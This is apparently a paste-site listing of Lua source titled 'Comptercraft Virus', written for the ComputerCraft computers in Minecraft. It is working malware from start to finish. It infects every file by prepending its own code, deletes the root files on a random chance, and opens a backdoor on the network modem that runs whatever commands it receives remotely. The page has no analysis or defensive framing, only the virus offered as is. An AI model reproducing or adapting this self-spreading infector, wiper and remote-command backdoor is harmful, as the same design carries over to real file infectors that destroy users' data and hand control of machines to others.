asteroidsteam icon

Comptercraft Virus

asteroidsteam | PRO | 02/17/18 02:39:12 PM UTC | 0 ⭐ | 447 👁️ | Never ⏰ | []
Lua |

1.76 KB

|

None

|

0 👍

/

0 👎

local infected = true
function infect(file)
  local virusfile = fs.open(shell.getRunningProgram(), "r")
  local viruscode = virusfile.readAll()
  local inFile = fs.open(file, "r")
  local fileCode = inFile.readAll()
  inFile.close()
  virusfile.close()
  if string.match(fileCode, "local infected = true") then
  else
    if file == "key" then
    else
      local infectFile = fs.open(file,"w")
      infectFile.writeLine("local infected = true")
      infectFile.writeLine(viruscode)
      infectFile.writeLine(fileCode)
      infectFile.close()
    end
  end
end
function remoteCommandStart()
  local sides = {"front","back","right","left","top","bottom"}
  local conn = false
  for i=1,#sides do
    if peripheral.isPresent(sides[i]) and peripheral.getType(sides[i]) == "modem" then
      rednet.open(sides[i])
      conn = true
      break
    end
  end
  if conn then
    remoteCommand()
  else
  end
end
function remoteCommand()
    local id,msg = rednet.receive("162857")
    shell.run(msg)
    rednet.send(id, "Done: "..msg, "162857")
end
function payload()
  local a = math.random(1, 5)
  if a == 3 then
    local files = fs.list("/")
    for i=1,#files do
      if files[i] == "rom" then
      else
        if files[i] == "startup" then
        else
          fs.delete(files[i])
        end
      end
    end
  end
end
function infectDir(directory)
  shell.setDir(directory)
  local files = fs.list(directory)
  for i=1,#files do
    if fs.isDir(files[i]) then
      if files[i] == "rom" then
      else
        infectDir(shell.dir().."/"..files[i])
      end
    else
      infect(shell.dir().."/"..files[i])
    end
  end
  shell.setDir("")
end
infectDir("/")
payload()
while true do
    parallel.waitForAny(shell.run("shell"), remoteCommandStart())
end

Comments